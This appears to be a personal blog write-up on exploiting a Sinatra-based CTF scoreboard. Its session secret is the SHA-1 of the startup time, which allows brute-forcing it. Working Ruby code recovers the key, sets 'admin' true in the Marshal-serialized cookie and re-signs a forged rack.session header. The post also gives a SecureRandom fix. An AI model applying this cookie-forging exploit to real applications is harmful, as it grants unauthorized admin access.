Last weekend I participated in a capture-the-flag event sponsored by Bishop Fox and ran by students at BYU. Following the event I decided that it may be fun to try and crack the scoring software itself – so I've written up the process here to explain how I put the exploit together.
Although spoofing client-side authentication tokens is nothing new (and the targeted framework in this case isn't a widespread one like Rails or something similar), this exercise serves as a good, very simple example of taking a high-level problem like weak randomness and leveraging it to own an application. Note: the only vulnerabilities mentioned here are within the framework itself and don't have anything to do with the CTF's sponsor or BYU itself. With that all being said, let's get started!
Introduction
The CTF scoring engine in question is straightfoward Sinatra-based webapp that uses some fundamental Rails mechanisms like Rack and ActiveRecord to provide a simple yet useful CTF scoreboard. Go ahead and take a look at the code, it's short and sweet.
One interesting behavior of the webapp is that, by default, no config file is committed to the codebase – instead, the config file is generated at runtime, which presumably happens after the git repo is cloned and left alone thereafter. The configuration file is created by the code below:
Ruby- Font used to highlight variable names.
- Font used to highlight comments.
- Font used to highlight comment delimiters.
- Font used to highlight type and class names.
- Font used to highlight strings.
- Font used to highlight builtins.
- Font used to highlight keywords.
begin
require './config.rb'
rescue Exception => e
# create default config.rb
open('./config.rb', "w+") {|f|
f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
f.flush
}
require './config.rb'
end
Note that the COOKIE_SECRET
is the aforementioned key that is used to derive an HMAC of our session variable. You'll notice that the secret is a SHA-1 of Time.now.to_s
.
And therein lies our insufficiently random seed.
Underlying Cause
At this point it should be clear that the cookie secret needs to be… well… secret. The ability to spoof cookies (if you could generate a valid HMAC with the secret key) would give you complete control over session permissions.
The root vulnerability in this instance is very poor random seeding. In this code, the value we're SHA1-hashing has only second-level precision, so we can brute force the entire domain of possible cookie secrets for a single day with only 60 ⨯ 60 ⨯ 24 attempts (which, in my testing, you can zip through pretty quickly.)
This would be marginally less bad if we were rate-limited in our brute forcing attempts, but because the cookie we've been given by ruby is the complete data structure, we don't need to attempt to validate against the webapp with every attempt – we can simply attempt to recalculate the HMAC every time until we find the key that creates an identical HMAC to the one sent to us by the application.
Proof-of-concept
In order to determine whether we can actually duplicate the HMAC, let's try it!
First, acquire the cookie and HMAC from the webapp. If you want to try this yourself, try cloning the scoreserver application and running it yourself (sorry, my ruby is terse, I know):
Ruby- Font used to highlight constants and labels.
- Font used to highlight type and class names.
- Font used to highlight strings.
- Font used to highlight builtins.
require 'faraday'
connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
Now we just need to create an instance of Time.now
and create HMACs until ours matches the one passed to us by rack. We'll decrease our time object by one second each iteration until we hit the matching time string that SHA1 hashes out to the session key:
- Font used to highlight type and class names.
- Font used to highlight function names.
- Font used to highlight keywords.
- Font used to highlight strings.
- Font used to highlight builtins.
require 'digest/sha1'
require 'openssl'
def create_hmac message, key
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end
seed = Time.now
while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
seed -= 1
end
key = Digest::SHA1.hexdigest(seed.to_s)
Great, we've cracked the key! The key
variable will allow us to create a valid HMAC that the rack application will accept as valid.
Exploitation
With the key recovered, we can just look at the application's source to determine what we need to elevate our privileges to that of an admin. First, deserialize the cookie to recover the ruby data structure:
Ruby- Font used to highlight type and class names.
params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
After a brief look at the application source, we can modify our hash to grant ourselves admin privilieges:
Ruby- Font used to highlight constants and labels.
- Font used to highlight strings.
params.merge!({ 'admin' => true })
Following which, we can reconstruct our cookie:
Ruby- Font used to highlight variable names.
- Font used to highlight strings.
- Font used to highlight type and class names.
bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"
Bingo! Pop the contents of header
into your Cookie
HTTP header and smoke it. Admin privileges ahoy.
At this point it should be pretty straightforward to either masquerade with this forged cookie or continue to script your way to retrieve each challenge's answer, which is left to the reader (the application's source is useful for this.)
Mitigation
I've committed a change to the scoreserver code on my branch which you can see on github. The jist of it is that instead of generating the cookie secret with:
Ruby- Font used to highlight type and class names.
Digest::SHA1.hexdigest(Time.now.to_s)
The SecureRandom library is used instead:
Ruby- Font used to highlight type and class names.
SecureRandom.hex(20)
Which also gives us a 40-character random hex string that is sufficiently random (/dev/random
on *nix and… whatever the equivalent is in Windows.)
Conclusion
Although this vulnerability is by no means a groundbreaking achievement, I found the process instructive for myself and hope that this writeup provided some additional insight to anyone interested in web application pen testing or secure coding practices. I know for myself that learning about weak cryptography has always been somewhat of a nebulous concept without concrete examples, and this example is an excellent illustration into how important random seeding can be.